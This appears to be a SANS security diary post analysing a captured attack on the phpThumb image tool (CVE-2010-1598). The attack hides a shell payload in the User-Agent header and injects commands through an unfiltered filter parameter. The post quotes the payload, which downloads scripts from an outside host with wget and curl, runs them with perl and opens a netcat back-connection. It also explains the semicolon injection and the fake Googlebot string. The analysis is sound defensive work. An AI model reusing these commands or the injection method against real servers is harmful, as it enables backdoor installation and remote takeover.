This topic has come up before, but it is probably worthwhile noting that of course, any data provided by the user can be used against a web application, not just proper "POST" and "GET" data. For example, we had a couple readers point us to a recent blog post in http headers [1] and how many web application vulnerability scanners miss them.

Another reader (Thanks Ovi!) sent us an interesting example "hiding" the exploit in the browser's user agent field. The exploit is directed at the infamous "phpThumb" tool, and again, isn't new (see for example the post by Spiderlabs [2]). The vulnerability was discovered originally in 2010 and assigned CVE-2010-1598.  The bug wasn't fixed until about a year ago when version 1.7.10 of phpThumb was released [3].

Let's take a quick look at the "mechanics" of this exploit and the vulnerability. First of all, the exploit's User Agent: (I formatted it for readability, but the "pel" command, which IMHO is a typo, came from the original.

<!--?system('cd /var/tmp;
                wget http://xyz.244.68.88/cb.jpg;
                perl cb.jpg xyz.103.68.73 8004;
                wget http://xyz.244.68.88/cback;
                pel cback;
                cd /dev/shm;
                curl -O http://xyz.244.68.88/cb.jpg;
                perl cb.jpg xyz.103.68.73 8004;
                netcat xyz.103.68.73 8004;
                curl -O http://xyz.244.68.88/cback;
                perl cback;nc xx.103.68.73 8004');
?-->[... second attempt in same user agent omitted ...] 
Googlebot/2.1 (+http://www.google.com/bot.html)

 In essence, the script appears to install some for of backdoor. The original servers the exploit connected to is no longer accepting requests, so we couldn't test it. The script uses wget as well as curl to download the file in case one of these scripts is not installed.

Now here comes the interesting part: The "User Agent" is actually not used by phpThumb. Instead, the actual exploit happens in the POST data (which is why you are still seeing the POST method used. However, the POST data is somewhat validated, not allowing it to contain the full exploit script. Instead, the function executed by the "POST" method will then refer to the HTTP_USER_AGENT environment variable, and pull its content and execute it. Some of the other discussions of this bug are missing this important aspects of this exploit.

Here is a quick outline of the code, and what went wrong:

First of all, the "fltr" parameter is parsed. Multiple filters may be provided, but for the purpose of this exploit, one is all it takes. Each filter contains a command, and a parameter. They are delimited by a pipe ("|").

@list($command, $parameter) = explode('|', $filtercommand, 2);

Later, the command line is assembled, without any additional checks on the parameter. For example:

$commandline .= ' -modulate 100,'.(100 - $parameter).',100';

Finally, the command line is executed:

$IMresult = phpthumb_functions::SafeExec($commandline);

Dont' get your hopes up based on the name of the function ("SafeExec"). Its main purpose is to figure out which one of the various ways of code execution are allowed.

The only hurdle the attacker has to overcome is to create an exploit that will first run the ImageMagick command successfully, then append the malicious command with a semicolon. The semicolon is never filtered. Many of these exploits don't even bother with the additional user agent obfuscation. The "googlebot" part of the header is likely only included to sneak past weak web application firewall configurations that may ignore traffic from Google (the IP address this exploit came from is not associated with Google).

[1] http://resources.infosecinstitute.com/sql-injection-http-headers/
[2] http://blog.spiderlabs.com/2011/12/honeypot-alert-user-agent-field-arbitrary-php-code-execution.html
[3] http://phpthumb.sourceforge.net/demo/docs/phpthumb.changelog.txt

------
Johannes B. Ullrich, Ph.D.
SANS Technology Institute
Twitter